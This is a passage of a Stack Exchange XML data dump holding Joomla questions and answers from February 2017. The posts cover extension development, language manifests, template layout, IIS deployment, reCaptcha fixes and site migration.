  <row Id="19063" PostTypeId="2" ParentId="19062" CreationDate="2017-02-06T08:25:50.780" Score="3" Body="&lt;p&gt;If the utility classes are only used in your component then include them in a folder within your administrator component.  Whether you register the classes with JLoader or just require_once them just set the path like: &lt;code&gt;JPATH_ADMINISTRATOR . '/your_component_name/utilities/a_class.php'&lt;/code&gt;.  If you have several utility classes then put all calls to the classes in one file and then require_once that file from all 3 entry files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generalise the Joomla way is &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;include all your code inside your component/module/plugin/template - custom code goes nowhere else.&lt;/li&gt;&#xA;&lt;li&gt;to avoid code duplication stick classes you use in the front end and the back end in the back end.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-02-07T07:29:26.540" LastActivityDate="2017-02-07T07:29:26.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19064" PostTypeId="2" ParentId="19028" CreationDate="2017-02-06T10:28:23.250" Score="2" Body="&lt;p&gt;I managed to do this, thanks to the &lt;a href=&quot;https://stackoverflow.com/questions/19569541/making-a-left-sidebar-appear-under-a-right-hand-column-on-a-mobile-with-bootstra/19569952#19569952&quot;&gt;link&lt;/a&gt; from @Lodder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Helix3 template layout, I swapped the positions of the &lt;code&gt;left sidebar&lt;/code&gt; and &lt;code&gt;main content&lt;/code&gt; blocks (drag and drop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the layout is like below;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; - header |&#xA; - main content | left sidebar | &#xA; - footer |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I added a css class to each block as follows;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;main content &lt;code&gt;pull-right&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;left sidebar &lt;code&gt;pull-left&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This seems to have done the trick!&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-02-06T10:28:23.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19065" PostTypeId="1" CreationDate="2017-02-06T10:48:33.053" Score="1" ViewCount="319" Body="&lt;p&gt;I am trying to copy a Linux-hosted Joomla! site onto my local IIS 7.5 server.&#xA;The &lt;em&gt;local&lt;/em&gt; site home page is OK but when I click on a menu item (e.g. &quot;set-up&quot;) I get an &lt;strong&gt;HTTP Error 404.0 - Not Found&lt;/strong&gt;. Error Code is 0x80070002. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried many pages that are not the home page (&lt;a href=&quot;http://localhost:41129&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost:41129&lt;/a&gt;) but failed. In other words, every page of the type &lt;a href=&quot;http://localhost:41129/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost:41129/&lt;/a&gt;&lt;strong&gt;XXX&lt;/strong&gt; causes an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that the server simply tries to access a folder under the root (XXX) rather than extract a page from the data base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the local environment is fine because I managed to install a new Joomla! site from scratch and to add a working menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database is attached because I can see (from the backend) the list of users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exact error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HTTP Error 404.0 - Not Found The resource you are looking for has been&#xA;  removed, had its name changed, or is temporarily unavailable.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Most likely causes: The directory or file specified does not exist on&#xA;  the Web server. The URL contains a typographical error. A custom&#xA;  filter or module, such as URLScan, restricts access to the file.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Things you can try: Create the content on the Web server. Review the&#xA;  browser URL. Check the failed request tracing log and see which module&#xA;  is calling SetStatus. For more information, click here.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Detailed Error Information: Module       IIS Web Core Notification&lt;br&gt;&#xA;  MapRequestHandler Handler    StaticFile Error Code       0x80070002&#xA;  Requested URL&lt;br&gt;&#xA;  httb://localhost:41129/component/search/?searchword=setup&amp;amp;searchphrase=all&amp;amp;Itemid=135&#xA;  Physical Path    C:\Users\Shaul\Documents\My Web&#xA;  Sites\LocalSpp1\component\search\ Logon Method       Anonymous Logon&#xA;  User     Anonymous Request Tracing Directory&lt;br&gt;&#xA;  C:\Users\Shaul\Documents\IISExpress\TraceLogFiles\LOCALSPP1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;More Information: This error means that the file or directory does not&#xA;  exist on the server. Create the file or directory and try the request&#xA;  again. View more information »&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9434" LastActivityDate="2018-09-03T19:46:14.037" Title="Selecting articles and menu items result in error 404.0" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19066" PostTypeId="2" ParentId="19065" CreationDate="2017-02-06T11:25:09.047" Score="1" Body="&lt;p&gt;The problem was in file web.config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Akeeba Kickstart script deploys a site on an IIS server, it does not move the contents of file &lt;strong&gt;web.config.txt&lt;/strong&gt; to file &lt;strong&gt;web.config&lt;/strong&gt;&#xA;You need to do it manually.&lt;/p&gt;&#xA;" OwnerUserId="9434" LastActivityDate="2017-02-06T11:25:09.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19067" PostTypeId="2" ParentId="19043" CreationDate="2017-02-06T13:41:12.213" Score="0" Body="&lt;p&gt;So, this is partially complicated because the input fields themselves are pulled in from your &lt;a href=&quot;http://www.joomlamailer.com/support/default-topic/147-changing-the-text-in-the-subscribe-button&quot; rel=&quot;nofollow noreferrer&quot;&gt;MailChimp profile at MailChimp.com&lt;/a&gt;, and are pulled into the module via the API. Also, the module references multiple language .ini files, but doesn't seem to download any of them automatically, so you may need to make your own copies of the mod_mailchimpsignup.ini for the language you want to display.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2017-02-06T13:56:58.187" LastActivityDate="2017-02-06T13:56:58.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19068" PostTypeId="1" AcceptedAnswerId="19069" CreationDate="2017-02-06T17:24:23.327" Score="2" ViewCount="26" Body="&lt;p&gt;I've got a plugin that's a package with 4-5 sub-packages. When the package completes installation, I would like to direct the user automatically to my options page to configure the plugin. I've hunted around, and I don't see how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2017-02-06T17:33:11.950" Title="Direct User to Extension Options Page on Install" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19069" PostTypeId="2" ParentId="19068" CreationDate="2017-02-06T17:33:11.950" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;postflight&lt;/code&gt; method in your install script for this, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Com_MyComponentInstallerScript&#xA;{&#xA;    protected $extension = 'com_mycomponent';&#xA;&#xA;    public function postflight($type, $parent)&#xA;    {&#xA;        JFactory::getApplication()-&amp;gt;redirect(JRoute::_('index.php?option=com_config&amp;amp;view=component&amp;amp;component=' . $this-&amp;gt;extension));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-02-06T17:33:11.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19070" PostTypeId="1" AcceptedAnswerId="19073" CreationDate="2017-02-06T17:41:44.647" Score="1" ViewCount="33" Body="&lt;p&gt;I have an extension, and I'd like to walk users through the process of using it a little more. The process is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Installation &lt;/li&gt;&#xA;&lt;li&gt;Configuration &lt;/li&gt;&#xA;&lt;li&gt;Inserting Shortcode &lt;/li&gt;&#xA;&lt;li&gt;Creating Events&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Right now, when a user installs the extension, if they go to Components | My Extension, I'm hooked into the message loop, I can enqueue messages directing them to the next steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is if they haven't taken the next steps to configure the extension, is show them a reminder to do that regardless of what they're doing in Joomla. IOW, regardless of what page they're on, if they haven't done X, I want to show them a message that reminds them to do X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could point me in the direction of how to do that, it would be really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2017-05-07T23:06:03.577" Title="Hooking into the Notices Loop" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19071" PostTypeId="2" ParentId="12233" CreationDate="2017-02-06T19:02:49.447" Score="0" Body="&lt;p&gt;If 'MSVCR110.dll' is missing that means some Microsoft Visual C++ redistributable packages are missing. In that case check required packages by running the executable file on this link &quot;&lt;a href=&quot;http://wampserver.aviatechno.net/files/tools/check_vcredist.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wampserver.aviatechno.net/files/tools/check_vcredist.exe&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it shows that some packages are missing then install them or you can even download the required packages through this link &quot;&lt;a href=&quot;http://wampserver.aviatechno.net/?lang=en&amp;amp;prerequis=cacher&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wampserver.aviatechno.net/?lang=en&amp;amp;prerequis=cacher&lt;/a&gt;&quot; I'm sure this may work for the &quot;.dll&quot; files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If everyone is working on same project. I should refer you to install Joomla online for working efficiently.&lt;/p&gt;&#xA;" OwnerUserId="9646" LastActivityDate="2017-02-06T19:02:49.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19072" PostTypeId="1" CreationDate="2017-02-06T19:31:53.650" Score="0" ViewCount="44" Body="&lt;p&gt;I am looking for a way to &quot;stamp&quot; all archived articles with a clearly visible &quot;Archived&quot; stamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking of applying a special template for articles in the archived state, but templates are only applied based on menu-entries as far as I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to fix my template so that it &quot;inspects&quot; the article it is showing? If so how can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what would be suggestions for css for an &quot;Archived&quot; stamp? I'm thinking semi-transparent across the content, or crossed out heading with &quot;Archived&quot; in red behind it.&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2017-04-08T05:18:30.173" Title="How to stamp archived articles?" Tags="|templates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19073" PostTypeId="2" ParentId="19070" CreationDate="2017-02-06T20:55:54.610" Score="0" Body="&lt;p&gt;To run some code on each request you'll need a system plugin.  The php would look something like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSystemCheckConfiguration extends JPlugin&#xA;{&#xA;    function onAfterRoute()&#xA;    {&#xA;        // get a handle of the app from jfactory etc etc&#xA;        // check if they have done the config&#xA;        // if not enqueue a notice etc&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's an overly complicated doc about making plugins here:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a list of the system events and when they run here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/System&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-02-06T20:55:54.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19074" PostTypeId="1" CreationDate="2017-02-06T23:14:24.687" Score="1" ViewCount="208" Body="&lt;p&gt;In my Joomla3.6 component, I am trying to implement drag and drop ordering at the frontend. I followed &lt;a href=&quot;https://joomla.stackexchange.com/q/14374/12352&quot;&gt;Adding drag-n-drop ordering in component&lt;/a&gt; and I can move the list-items, but it never saves the new order.&lt;/p&gt;&#xA;&lt;p&gt;I tried to overwrite &lt;code&gt;saveOrderAjax()&lt;/code&gt; at the controller, but it seems that it is not even called.&lt;/p&gt;&#xA;&lt;p&gt;Any idea? Does anybody know a component with frontend-ordering?&lt;/p&gt;&#xA;" OwnerUserId="9647" LastEditorUserId="12352" LastEditDate="2022-04-14T11:40:46.733" LastActivityDate="2022-04-14T11:40:46.733" Title="Drag and Drop at the frontend does not save new order" Tags="|component|custom-component|ajax|sorting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19075" PostTypeId="2" ParentId="19072" CreationDate="2017-02-07T05:04:26.113" Score="1" Body="&lt;p&gt;If I am not mistaken archived articles won't show on the site alongside with published articles. Here's how I would approach this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use either a category or a tag to identify &quot;archived&quot; articles rather than actually archiving them.&lt;/li&gt;&#xA;&lt;li&gt;Create a template override for com_content and update the code to apply a custom CSS class to your article DIV.&lt;/li&gt;&#xA;&lt;li&gt;In your CSS create a rule for that new class to have a faded background image of the word &quot;Archived&quot; repeated and slanted 45 degrees.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2017-02-07T05:04:26.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19076" PostTypeId="1" AcceptedAnswerId="19091" CreationDate="2017-02-07T05:50:55.310" Score="1" ViewCount="806" Body="&lt;p&gt;I am trying to create a component. I have the following manifest file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;component&quot; version=&quot;3.4&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&#xA;    &amp;lt;name&amp;gt;COM_EXAMPLE_TITLE&amp;lt;/name&amp;gt;&#xA;    &amp;lt;libraryname&amp;gt;example&amp;lt;/libraryname&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;January 2017&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;inf3rno&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;laszlo.janszky@gmail.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;license&amp;gt;MIT&amp;lt;/license&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;COM_EXAMPLE_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;&#xA;    &amp;lt;scriptfile&amp;gt;installer.php&amp;lt;/scriptfile&amp;gt;&#xA;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename&amp;gt;example.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;media&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;    &amp;lt;administration&amp;gt;&#xA;        &amp;lt;menu link=&quot;option=com_example&quot;&amp;gt;COM_EXAMPLE_TITLE&amp;lt;/menu&amp;gt;&#xA;        &amp;lt;files&amp;gt;&#xA;            &amp;lt;filename&amp;gt;example.php&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;            &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;            &amp;lt;folder&amp;gt;media&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;    &amp;lt;/administration&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the language folder I have 4 ini files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;en-GB.com_example.ini&lt;/li&gt;&#xA;&lt;li&gt;en-GB.com_example.sys.ini&lt;/li&gt;&#xA;&lt;li&gt;hu-HU.com_example.ini&lt;/li&gt;&#xA;&lt;li&gt;hu-HU.com_example.sys.ini&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and I have the constants &lt;code&gt;COM_EXAMPLE_TITLE&lt;/code&gt; and &lt;code&gt;COM_EXAMPLE_DESCRIPTION&lt;/code&gt; in these files. I don't want to use the MVC classes Joomla provides and I want to reuse the src folder, which contains my classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem that Joomla does not replace the constant names with the values, so when I install this component the registered component will be &lt;code&gt;COM_EXAMPLE_TITLE&lt;/code&gt; instead of &lt;code&gt;example&lt;/code&gt; and the name it displays in the admin menu will be &lt;code&gt;com-example-title&lt;/code&gt; instead of e.g. &lt;code&gt;Example Component&lt;/code&gt; or whatever I store in the &lt;code&gt;COM_EXAMPLE_TITLE&lt;/code&gt; constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why it does not work. I tried out with the &lt;code&gt;&amp;lt;languages&amp;gt;&lt;/code&gt; element too and with &lt;code&gt;en-GB&lt;/code&gt; and &lt;code&gt;hu-HU&lt;/code&gt; subfolders too. Nothing worked, no matter what I changed. I installed Joomla 3.4.3 on localhost, but I have the same version on the production server. On the production server with the &lt;code&gt;&amp;lt;languages&amp;gt;&lt;/code&gt; element I managed to make this work. Is there a configuration option or whatever which turned off the inclusion of these constants? Can this feature be turned off, or something else is going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked my old more or less working code. Is there a chance it never worked properly? I have these multilingual texts in the admin menu and in the site menu, but by install I cannot have for example multilingual extension name and description. Now that is interesting, since &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_language_management#helloworld.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;this example&lt;/a&gt; tells me it is possible. Maybe by the later versions only, I don't know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested further, with the &lt;code&gt;&amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&lt;/code&gt; it works too if the files are in the &lt;code&gt;ln-LN&lt;/code&gt; subfolders, but the package name and description does not work, just the admin menu. The same is on the production server, so this is not a config option, it simply is not supported. Probably the version is too old.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-02-07T06:28:40.183" LastActivityDate="2017-02-08T00:57:00.493" Title="Multilanguage component, language is not loaded by manifest" Tags="|joomla-3.4|language|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19077" PostTypeId="2" ParentId="19076" CreationDate="2017-02-07T09:13:39.650" Score="1" Body="&lt;p&gt;The language constants aren't being translated because you haven't defined your languages in the XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do that like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;    &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;    &amp;lt;&amp;lt;&amp;lt; You don't need this&#xA;&amp;lt;/files&amp;gt;&#xA;&#xA;// Site languages&#xA;&amp;lt;languages folder=&quot;site/language&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.com_example.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.com_example.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;hu-HU&quot;&amp;gt;hu-HU/hu-HU.com_example.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;hu-HU&quot;&amp;gt;hu-HU/hu-HU.com_example.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&#xA;// Admin languages&#xA;&amp;lt;administration&amp;gt;&#xA;    &amp;lt;languages folder=&quot;admin/language&quot;&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.com_example.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.com_example.sys.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;hu-HU&quot;&amp;gt;hu-HU/hu-HU.com_example.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;hu-HU&quot;&amp;gt;hu-HU/hu-HU.com_example.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/administration&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-02-07T09:13:39.650" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19078" PostTypeId="1" AcceptedAnswerId="19080" CreationDate="2017-02-07T09:24:22.503" Score="2" ViewCount="705" Body="&lt;p&gt;I look after a website which is run by a church and every 1st sunday of the month they have a slightly different service schedule. The site uses an image slider which rotates advising of the services that week, so I;ve been asked that for the 1st sunday of every week a different image be used within the slider - this may well get forgotten so i was thinking of a more automated solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are timed content extensions out there but nothing which seems to publish/unpublish modules. My plan would be to have 2 image sliders one for the 1st week and 1 for the remaining 3 weeks, and possibly run a script on a cron job to publish/unpublish the respective modules based on the time of the month - so the cron would probably run every friday for example, the script would then check if the sunday was the first sunday of the month and if so publish/unpublish the modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, does anyone know of an extension that may already do this, secondly is my suggestion an acceptable solution to the problem - i.e. could it cause any problems security wise or in any other way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="126" LastEditDate="2017-02-24T17:25:27.567" LastActivityDate="2017-12-19T16:31:05.223" Title="Publish/Unpublish module on a schedule" Tags="|joomla-3.x|php|module|extensions|module-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19079" PostTypeId="1" AcceptedAnswerId="19085" CreationDate="2017-02-07T10:19:41.083" Score="1" ViewCount="401" Body="&lt;p&gt;I have a problem with captcha on my website. When I want to ask question about product, captcha is not showing and after asking it writes message &quot;Code is not valid&quot;. I've been searching for solution for last 2 days and I found nothing that helped me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My website:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.skladoleju.cz/motorove-oleje/total-quartz-ineo-mc3-5w-30-3x-5-l-detail.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;URL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;website is in czech language, so you are looking for button &quot;zeptejte se na produkt&quot; (orange button right under 2-3 Days image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="9649" LastEditorUserId="1520" LastEditDate="2017-02-09T08:25:06.290" LastActivityDate="2017-02-09T08:25:06.290" Title="Ask about product reCaptcha" Tags="|joomla-3.x|virtuemart|captcha|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19080" PostTypeId="2" ParentId="19078" CreationDate="2017-02-07T10:39:12.093" Score="4" Body="&lt;p&gt;You definitely have to look at &lt;a href=&quot;https://www.regularlabs.com/extensions/advancedmodulemanager#free-vs-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Regular Labs: Advanced Module Manager Pro&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pro version features Seasons, Months, Days, Time assignments, so you can schedule the appearance of your modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xcv1v.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xcv1v.jpg&quot; alt=&quot;AMMpro Day/Time Settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-02-07T10:39:12.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19083" PostTypeId="1" CreationDate="2017-02-07T15:34:55.307" Score="4" ViewCount="139" Body="&lt;p&gt;I currently have a live Joomla (3.x) website on a shared hosting environment, I'd like to replace this site with a new Joomla (3.x) website I have on my localhost (XAMPP) environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to approach this in order to ensure &lt;strong&gt;minimal downtime&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process I normally follow is;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;backup my local Joomla site using Akeeba &lt;/li&gt;&#xA;&lt;li&gt;upload the backup file (.jpa) and Akeeba Kickstart to the live root directory&lt;/li&gt;&#xA;&lt;li&gt;zip root directory contents (excluding the jpa and kickstart)&lt;/li&gt;&#xA;&lt;li&gt;proceed with Akeeba Install &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Providing the Akeeba install goes smoothly (which it normally does), the downtime is only minutes. However I'm just wondering if there's a better approach, in the event that something doesn't go as expected? For example, creating a temporary &lt;code&gt;index&lt;/code&gt; holding page, or having a temporary domain etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2017-02-07T20:43:49.080" Title="Migration WIth Minimal Downtime" Tags="|joomla-3.x|migration|akeebabackup|xampp|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19084" PostTypeId="1" CreationDate="2017-02-07T15:53:19.953" Score="0" ViewCount="207" Body="&lt;p&gt;I've been googling this and haven't found anything that does the job. I have a component and I want to override some output text from the following location:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator/components/com_mycomp/classes/myfile.class.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have tried the following to my template folder&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/mytemplate/html/com_mycomp/myfile.class.php&#xA;  templates/mytemplate/html/com_mycomp/classes/myfile.class.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But neither do the job, is there a way to achieve this? I'm probably doing something really stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-02-11T05:10:47.280" Title="Override component class?" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19085" PostTypeId="2" ParentId="19079" CreationDate="2017-02-07T16:16:34.210" Score="1" Body="&lt;p&gt;Ok, problem solved. In file /plugins/captcha/recaptcha/recaptcha.php replace these lines (62 - 68):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$theme   = $this-&amp;gt;params-&amp;gt;get('theme', 'clean');&#xA;$document-&amp;gt;addScriptDeclaration('jQuery(document).ready(function($){$(window).load(function() {'&#xA;. 'grecaptcha.render(&quot;' . $id . '&quot;, {sitekey: &quot;' . $pubkey . '&quot;, theme: &quot;' . $theme . '&quot;});'&#xA;. '});});'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this single line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', 'plg_captcha_recaptcha/recaptcha.min.js', false, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I modified this file after updating joomla (because&#xA;of similar problem - it solved the problem), but after updating virtuemart a few months later, my &quot;patch&quot; (not mine, I had found it somewhere on forum) stopped working. So I undone changes (by replacing these lines) and it started to work again.&lt;/p&gt;&#xA;" OwnerUserId="9649" 